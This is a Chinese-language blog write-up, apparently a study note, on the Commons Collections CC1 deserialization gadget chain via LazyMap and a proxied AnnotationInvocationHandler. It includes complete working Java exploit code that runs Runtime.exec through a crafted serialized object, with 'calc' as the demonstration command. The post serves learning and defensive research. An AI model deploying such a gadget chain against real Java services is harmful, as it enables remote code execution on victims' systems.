Java反序列化-CC1链补充

本文最后更新于 2025年8月9日 下午

书接上回,分析了CC1链当中TransformMap的反序列化攻击,跟着也把正常的CC1的链子学一下(非自然因素导致断了这么长时间)

链子分析

寻找尾部exec执行方法

还是看InvokeTransformer的方法transform,去看CC1 链里面 LazyMap 的链子
2025-08-08220000

1
2
3
4
5
6
7
8
9
public Object get(Object key) {  
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里get方法中出现了.transform(key),作用域为public

寻找链子

跟踪一下factory
2025-08-08222042
找factory的同时发现了decorate方法,这里类似于之前讲的 TransformMap 中的 decorate 方法
整理粗略的看一下代码,构造函数的作用域为private,无法直接获取,而 decorate 方法里面能够 new 一个 LazyMap 对象,先写个阉割链子看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;  

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test2 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap hashmap = new HashMap();
Map decorateMap =LazyMap.decorate(hashmap,invokerTransformer);
Class<LazyMap> clazz = LazyMap.class;
Method method = clazz.getDeclaredMethod("get",Object.class);
method.setAccessible(true);
method.invoke(decorateMap,runtime);

}
}

是可以正常弹出的
那就继续往上找内容,找如何调用lazyMap.get()
在 AnnotationInvocationHandler.invoke() 方法中找到了有一个地方调用了 get() 方法

1
Object var6 = this.memberValues.get(var4);

这个是反编译的,原文内容是

1
Object result=this.memberValues.get(member);

同时类中有readObject可以作为链首
关键点在于我们要触发 AnnotationInvocationHandler.invoke()

Exp

AnnotationInvocationHandler 实现了 InvocationHandler 接口
需要触发 invoke 方法,马上想到动态代理,类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法
2025-08-08231529
看源码会直观一点,简单来说
我们把 memberValues 替换为一个代理 Map,那么在反序列化或者后续调用中,一旦访问 entrySet()get()toString() 等,就会触发 invoke() 方法,从而执行整条利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.omg.CORBA.portable.InvokeHandler;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//构造可控的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};//直接抄之前的开头

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, decorateMap);

Map proxyMap =(Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);

serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

2025-08-08233657
整体的其实都差不多

1
2
3
4
5
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, decorateMap);

这是被代理的实例

生成代理类,并使用反序列化调用计算器

1
2
3
4
5
Map proxyMap =(Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);  
invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);

serialize(invocationHandler);
unserialize("ser.bin");

总结

也是画个流程图加深一下理解吧
2025-08-09134404


Java反序列化-CC1链补充
https://0ran9ewww.github.io/2025/08/09/学习文章/Java反序列化-CC1链补充/
作者
orange
发布于
2025年8月9日
更新于
2025年8月9日
许可协议